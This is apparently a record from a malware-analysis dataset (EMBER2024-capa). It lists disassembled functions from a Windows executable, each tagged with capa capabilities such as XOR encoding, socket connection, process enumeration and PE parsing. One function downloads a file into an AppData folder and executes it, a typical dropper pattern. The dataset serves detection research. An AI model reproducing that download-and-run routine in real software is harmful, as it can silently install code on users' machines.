joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001794
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov rbx, r9
mov r14, r8
mov r12d, edx
mov r15, rcx
mov dword [rbp - 0x20], 0x78563412
cmp dword [rcx + 0x58], 1
jbe 0x140001975
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x18], xmm0
xor esi, esi
mov qword [rbp - 8], rsi
mov byte [rbp + 0x30], sil
mov al, byte [rcx + 0x5c]
neg al
sbb rdx, rdx
and edx, 4
cmp r8, 0x7e
sbb rax, rax
not rax
and eax, 2
add rdx, rax
cmp r8, 0x10000
sbb rax, rax
and rax, 0xfffffffffffffffa
add rax, 8
add rdx, rax
lea r8, [rbp + 0x30]
lea rcx, [rbp - 0x18]
call fcn.1400023d8
mov dl, 0x80
or r12b, dl
mov rdi, qword [rbp - 0x18]
mov byte [rdi], r12b
mov al, byte [r15 + 0x5c]
cmp r14, 0x7e
jae 0x140001851
neg al
sbb al, al
and al, dl
or al, r14b
mov byte [rdi + 1], al
cmp byte [r15 + 0x5c], sil
je 0x1400018dd
mov dword [rdi + 2], 0x78563412
jmp 0x1400018dd
mov rcx, r14
shr rcx, 8
cmp r14, 0x10000
jae 0x140001882
neg al
sbb al, al
and al, dl
add al, 0x7e
mov byte [rdi + 1], al
mov byte [rdi + 2], cl
mov byte [rdi + 3], r14b
cmp byte [r15 + 0x5c], sil
je 0x1400018dd
mov dword [rdi + 4], 0x78563412
jmp 0x1400018dd
neg al
sbb al, al
and al, dl
add al, 0x7f
mov byte [rdi + 1], al
mov rax, r14
shr rax, 0x38
mov byte [rdi + 2], al
mov rax, r14
shr rax, 0x30
mov byte [rdi + 3], al
mov rax, r14
shr rax, 0x28
mov byte [rdi + 4], al
mov rax, r14
shr rax, 0x20
mov byte [rdi + 5], al
mov rax, r14
shr rax, 0x18
mov byte [rdi + 6], al
mov rax, r14
shr rax, 0x10
mov byte [rdi + 7], al
mov byte [rdi + 8], cl
mov byte [rdi + 9], r14b
cmp byte [r15 + 0x5c], sil
je 0x1400018dd
mov dword [rdi + 0xa], 0x78563412
lea r12, [r15 + 0x20]
mov r9, qword [rbp - 0x10]
sub r9, rdi
mov rdx, qword [r15 + 0x28]
mov r8, rdi
mov rcx, r12
call fcn.1400013c0
mov r9, qword [rbp + 0x50]
sub r9, rbx
mov rdx, qword [r15 + 0x28]
mov r8, rbx
mov rcx, r12
call fcn.1400013c0
cmp byte [r15 + 0x5c], sil
je 0x140001945
mov r8, qword [r12 + 8]
sub r8, qword [r12]
sub r8, r14
test r14, r14
je 0x140001945
mov rdx, qword [r12]
add rdx, rsi
mov cl, byte [rdx + r8]
mov rax, rsi
and eax, 3
xor cl, byte [rbp + rax - 0x20]
mov byte [rdx + r8], cl
inc rsi
cmp rsi, r14
jne 0x140001924
mov rdx, qword [rbp - 8]
sub rdx, rdi
mov rax, rdi
cmp rdx, 0x1000
jb 0x14000196d
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000198e
mov rcx, rdi
call fcn.14001fb60
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
call fcn.14002697c
int3
Function at 0x140002c08
Capabilities:
Connect socket
Resolve dns

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x90
mov rax, qword [0x14007c080]
xor rax, rsp
mov qword [rsp + 0x88], rax
xorps xmm0, xmm0
lea r8, [0x1400465e0]
mov rbx, rcx
mov r9d, edx
movups xmmword [rsp + 0x48], xmm0
or rdi, 0xffffffffffffffff
mov dword [rsp + 0x50], 1
lea rcx, [rsp + 0x78]
movups xmmword [rsp + 0x58], xmm0
lea edx, [rdi + 0x11]
movups xmmword [rsp + 0x68], xmm0
call fcn.1400016dc
cmp qword [rbx + 0x18], 0xf
jbe 0x140002c69
mov rbx, qword [rbx]
lea r9, [rsp + 0x40]
mov rcx, rbx
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x78]
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x140002cd5
and qword [rsp + 0x30], 0
lea rbx, [0x14007d7e0]
mov r9d, 0x400
mov r8d, eax
mov dword [rsp + 0x28], r9d
xor edx, edx
mov ecx, 0x12ff
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov ecx, 2
call fcn.140026b14
mov r8, rbx
lea rdx, str.getaddrinfo:__s_n
mov rcx, rax
call fcn.1400032bc
mov eax, 1
jmp 0x140002d35
mov rbx, qword [rsp + 0x40]
test rbx, rbx
je 0x140002d29
mov r8d, dword [rbx + 0xc]
mov edx, dword [rbx + 8]
mov ecx, dword [rbx + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140002d1b
mov r8d, dword [rbx + 0x10]
mov rcx, rax
mov rdx, qword [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140002d24
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
or rdi, 0xffffffffffffffff
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x140002cdf
mov rbx, qword [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
mov rax, rdi
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.140020030
mov rbx, qword [rsp + 0xb0]
add rsp, 0x90
pop rdi
ret
Function at 0x1400143f0
Capabilities:
Create directory
Create process on windows
Download url
Get common file path
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x260
mov rax, qword [0x14007c080]
xor rax, rsp
mov qword [rsp + 0x250], rax
xor r9d, r9d
lea rax, [rsp + 0x30]
mov rdi, rdx
mov qword [rsp + 0x20], rax
mov rbx, rcx
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 0x1a]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x1400144b1
lea rdx, str.MyApp
lea rcx, [rsp + 0x30]
call qword [sym.imp.SHLWAPI.dll_PathAppendA]
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov r8, rdi
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x140]
call qword [sym.imp.SHLWAPI.dll_PathCombineA]
and qword [rsp + 0x20], 0
lea r8, [rsp + 0x140]
xor r9d, r9d
mov rdx, rbx
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
js 0x1400144b1
mov dword [rsp + 0x28], 1
lea r8, [rsp + 0x140]
and qword [rsp + 0x20], 0
lea rdx, str.open
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140020030
mov rbx, qword [rsp + 0x280]
add rsp, 0x260
pop rdi
ret

Function at 0x140019e24
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push r14
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
mov rax, qword [0x14007c080]
xor rax, rsp
mov qword [rbp + 0x1a0], rax
mov rbx, rdx
mov r14, r8
mov edx, dword [rcx + 0x10]
mov ecx, 0x18
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140019f02
xor edx, edx
lea rcx, [rsp + 0x64]
mov r8d, 0x234
call fcn.140044860
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x238
mov rcx, rsi
call sub.KERNEL32.dll_Module32First
lea rdx, [rsp + 0x60]
mov rcx, rsi
call sub.KERNEL32.dll_Module32Next
test eax, eax
je 0x140019f02
lea rax, [rbp - 0x70]
mov qword [rsp + 0x30], rax
lea rcx, [rbp - 0x70]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x140019eb6
movups xmm0, xmmword [r14]
mov qword [rsp + 0x38], rax
lea r8, [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x30]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x20]
movdqa xmmword [rsp + 0x50], xmm1
movdqu xmmword [rsp + 0x40], xmm0
call fcn.1400134bc
test al, al
jne 0x140019f30
lea rdx, [rsp + 0x60]
mov rcx, rsi
call sub.KERNEL32.dll_Module32Next
test eax, eax
jne 0x140019eae
mov byte [rbx + 0x18], 0
mov byte [rbx + 8], 0
mov rax, rbx
mov rcx, qword [rbp + 0x1a0]
xor rcx, rsp
call fcn.140020030
mov rbx, qword [rsp + 0x2e8]
add rsp, 0x2b0
pop r14
pop rsi
pop rbp
ret
mov rax, qword [rsp + 0x78]
mov qword [rbx], rax
mov eax, dword [rbp - 0x80]
mov byte [rbx + 8], 1
mov qword [rbx + 0x10], rax
mov byte [rbx + 0x18], 1
jmp 0x140019f0a
Function at 0x14001b27c
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x160
mov rax, qword [0x14007c080]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rbx, rdx
mov rsi, r8
xor edx, edx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14001b32b
xor edx, edx
lea rcx, [rsp + 0x24]
mov r8d, 0x12c
call fcn.140044860
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rdi
call sub.KERNEL32.dll_Process32First
jmp 0x14001b311
lea rax, [rsp + 0x4c]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14001b2eb
movups xmm1, xmmword [rsi]
cmp r8, qword [rsi + 8]
jne 0x14001b311
movq rdx, xmm1
lea rcx, [rsp + 0x4c]
call fcn.140044ca0
test eax, eax
je 0x14001b357
lea rdx, [rsp + 0x20]
mov rcx, rdi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x14001b2e2
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [rbx + 4], 0
mov rax, rbx
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.140020030
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
mov eax, dword [rsp + 0x28]
mov dword [rbx], eax
mov byte [rbx + 4], 1
jmp 0x14001b32f

Function at 0x14001c0c4
Capabilities:
Hash data using fnv

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x30
mov rdi, rdx
mov qword [rsp + 0x20], rcx
xor edx, edx
mov rbx, rcx
cmp qword [rcx + 0x10], rdx
jbe 0x14001c114
xor ecx, ecx
cmp qword [rbx + 0x18], 0xf
mov rax, rbx
jbe 0x14001c0f0
mov rax, qword [rbx]
movsx rax, byte [rcx + rax]
inc edx
xor rdi, rax
movabs r8, 0x100000001b3
imul rdi, r8
inc rcx
movsxd rax, edx
cmp rax, qword [rbx + 0x10]
jb 0x14001c0e3
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14001c14a
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14001c145
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14001c168
mov rcx, r8
call fcn.14001fb60
and qword [rbx + 0x10], 0
mov rax, rdi
mov qword [rbx + 0x18], send
mov byte [rbx], 0
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
call fcn.14002697c
int3
Function at 0x14001f0d8
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x14001f112
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x14001f117
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x14001f160
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x14004d0b0]
cmp byte [rcx + rax], 0
je 0x14001f160
dec r8
sub rdx, 1
jne 0x14001f146
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x1400208c8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140020912
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140020912
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140020912
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140020912
cmp dword [rcx + 0x84], 0xe
jbe 0x140020912
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140020914
xor al, al
add rsp, 0x28
ret

Function at 0x14003120c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140031008

Function at 0x140038ef4
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140038f0a
mov al, 1
jmp 0x140038f6a
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140038f1b
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140038f68
mov ecx, dword [rcx + 0x18]
nop
call fcn.14003b8d0
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140038f68
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140038f68
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140038f68
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140038f6a
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x14003adbc
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14003adec
xor eax, eax
jmp 0x14003aeaf
mov rbp, rbx
cmp word [rax], si
je 0x14003ae11
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14003adf8
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14003adf4
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1400394fc
movsxd r14, eax
test eax, eax
jne 0x14003ae4f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14003ade5
mov rcx, r14
call fcn.140036258
mov rdi, rax
test rax, rax
jne 0x14003ae68
xor ecx, ecx
call fcn.140034d8c
jmp 0x14003ae44
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1400394fc
test eax, eax
jne 0x14003ae99
mov rcx, rdi
call fcn.140034d8c
jmp 0x14003aea3
xor ecx, ecx
call fcn.140034d8c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x14003de24
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.1400349b4
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x14003dec5
cmp ebx, dword [rsp + 0x30]
je 0x14003debe
test esi, esi
je 0x14003debe
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x14003de99
sub r8w, 0x61
cmp r8w, 0x19
ja 0x14003dea6
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x14003de83
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x14003deaa
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x14003dec7
mov eax, 1
jmp 0x14003dec7
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140041d94
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14002bd70
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x140041e1e
cmp byte [rbp - 0x21], r15b
je 0x140041e19
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140041e54
call fcn.140035090
test eax, eax
jne 0x140041e40
cmp byte [rbp - 0x21], r15b
je 0x140041e38
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140041e54
cmp byte [rbp - 0x21], r15b
je 0x140041e51
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140030740
test eax, eax
jne 0x140041ef4
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14002bd70
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x140041e93
cmp byte [rbp - 0x21], r15b
je 0x140041ec8
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140041ec8
call fcn.140035090
test eax, eax
jne 0x140041eb4
cmp byte [rbp - 0x21], r15b
je 0x140041ead
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140041ec8
cmp byte [rbp - 0x21], r15b
je 0x140041ec5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140030740
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140041ef4
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140041ef7
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140041f05
mov rcx, rdi
call fcn.140034d8c
cmp byte [rbp + 0x3f], r15b
je 0x140041f14
mov rcx, qword [rbp + 0x27]
call fcn.140034d8c
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x140043e10
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140043e38
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140043e38
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x180007660
Capabilities:
Read file on windows

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
test r8, r8
jle 0x1800076f6
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
cmp qword [rcx + 0x68], 0
je 0x1800076fd
mov r15, rsi
jmp 0x1800076bb
cmp r15, r14
cmovb r14, r15
mov rcx, rdi
mov r8, r14
call fcn.180010ec0
add rdi, r14
sub r15, r14
mov rax, qword [rbx + 0x50]
sub dword [rax], r14d
mov rax, qword [rbx + 0x38]
add qword [rax], r14
test r15, r15
jle 0x1800076ee
mov rax, qword [rbx + 0x38]
mov rdx, qword [rax]
test rdx, rdx
je 0x1800076d3
mov rax, qword [rbx + 0x50]
mov r14d, dword [rax]
test r14d, r14d
jg 0x180007690
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x1800076ee
mov byte [rdi], al
inc rdi
dec r15
test r15, r15
jg 0x1800076bb
sub rsi, r15
jmp 0x1800077ea
xor esi, esi
jmp 0x1800077ea
mov rax, qword [rbx + 0x38]
mov rdx, qword [rax]
test rdx, rdx
je 0x180007750
mov rcx, qword [rbx + 0x50]
movsxd r15, dword [rcx]
test r15, r15
je 0x180007750
cmp r15, rsi
cmovae r15, rsi
mov rcx, rdi
mov r8, r15
call fcn.180010ec0
add rdi, r15
mov r14, rsi
sub r14, r15
mov rax, qword [rbx + 0x50]
sub dword [rax], r15d
mov rax, qword [rbx + 0x38]
movsxd rcx, r15d
add qword [rax], rcx
cmp qword [rbx + 0x80], 0
jne 0x180007761
jmp 0x1800077e7
mov r14, rsi
cmp qword [rbx + 0x80], 0
je 0x1800077e7
mov rcx, qword [rbx + 0x18]
lea rdx, [rbx + 0x70]
cmp qword [rcx], rdx
jne 0x180007790
mov edx, dword [rbx + 0x90]
mov r8, qword [rbx + 0x88]
mov qword [rcx], r8
mov qword [rax], r8
sub edx, r8d
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
nop word [rax + rax]
cmp r14, 0x1000
jb 0x1800077c3
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rdi
call fcn.1800250a0
add rdi, rax
sub r14, rax
cmp rax, 0xfff
je 0x180007790
jmp 0x1800077e7
test r14, r14
je 0x1800077e4
mov r9, qword [rbx + 0x80]
mov edx, 1
mov rcx, rdi
mov r8, r14
call fcn.1800250a0
sub r14, rax
jmp 0x1800077e7
xor r14d, r14d
sub rsi, r14
mov rax, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret

Function at 0x18000df60
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
sub r8, rdx
je 0x18000e038
movabs r10, 0xcbf29ce484222325
movabs rcx, 0x100000001b3
cmp r8, 8
jb 0x18000e00f
mov rax, r8
shr rax, 3
xor r9d, r9d
nop word cs:[rax + rax]
movzx r11d, byte [rdx + r9*8]
xor r11, r10
imul r11, rcx
movzx r10d, byte [rdx + r9*8 + 1]
xor r10, r11
imul r10, rcx
movzx r11d, byte [rdx + r9*8 + 2]
xor r11, r10
imul r11, rcx
movzx r10d, byte [rdx + r9*8 + 3]
xor r10, r11
imul r10, rcx
movzx r11d, byte [rdx + r9*8 + 4]
xor r11, r10
imul r11, rcx
movzx r10d, byte [rdx + r9*8 + 5]
xor r10, r11
imul r10, rcx
movzx r11d, byte [rdx + r9*8 + 6]
xor r11, r10
imul r11, rcx
movzx r10d, byte [rdx + r9*8 + 7]
xor r10, r11
imul r10, rcx
inc r9
cmp rax, r9
jne 0x18000dfa0
mov r9, r8
and r9, 0xfffffffffffffff8
cmp r9, r8
jne 0x18000e020
mov rax, r10
ret
movzx eax, byte [rdx + r9]
xor rax, r10
imul rax, rcx
inc r9
mov r10, rax
cmp r8, r9
jne 0x18000e020
ret
mov eax, 0x84222325
ret
Function at 0x1800228f8
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1800229f0
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x180022a5f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x180022a5f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x180022a5f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x180022a5f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x180022a5f
cmp dword [rcx + 0x84], 0xe
jbe 0x180022a5f
cmp dword [rcx + 0xf8], 0
je 0x180022a5f
mov ecx, ebx
call fcn.180022928
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.180022b84
nop
cmp dword [rbp + 0x20], 0
je 0x180022aad
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1800229bc
int3

Function at 0x1800269d0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1800269f8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1800269f8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x180030db4
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.18001a220
sub rsp, rax
mov rax, qword [0x180056088]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.18002fc98
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x180030e03
mov rax, rbp
jmp 0x180030f0b
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x180000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x59510]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.180030ae4
mov r13, rax
lea rax, [0x180000000]
mov rcx, qword [rax + rbx*8 + 0x59510]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x180030f07
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180030f07
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.180030ae4
test rax, rax
js 0x180030f07
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x180030f07
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x180030ef9
lea r8, [0x180000000]
cmp rcx, rdx
jae 0x180030ef9
cmp byte [rcx], 0xd
jne 0x180030edf
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x180030eee
cmp byte [rcx + 1], 0xa
jne 0x180030eee
inc rcx
jmp 0x180030eee
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x56b60]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x180030ec1
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x180030f0b
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.180019540
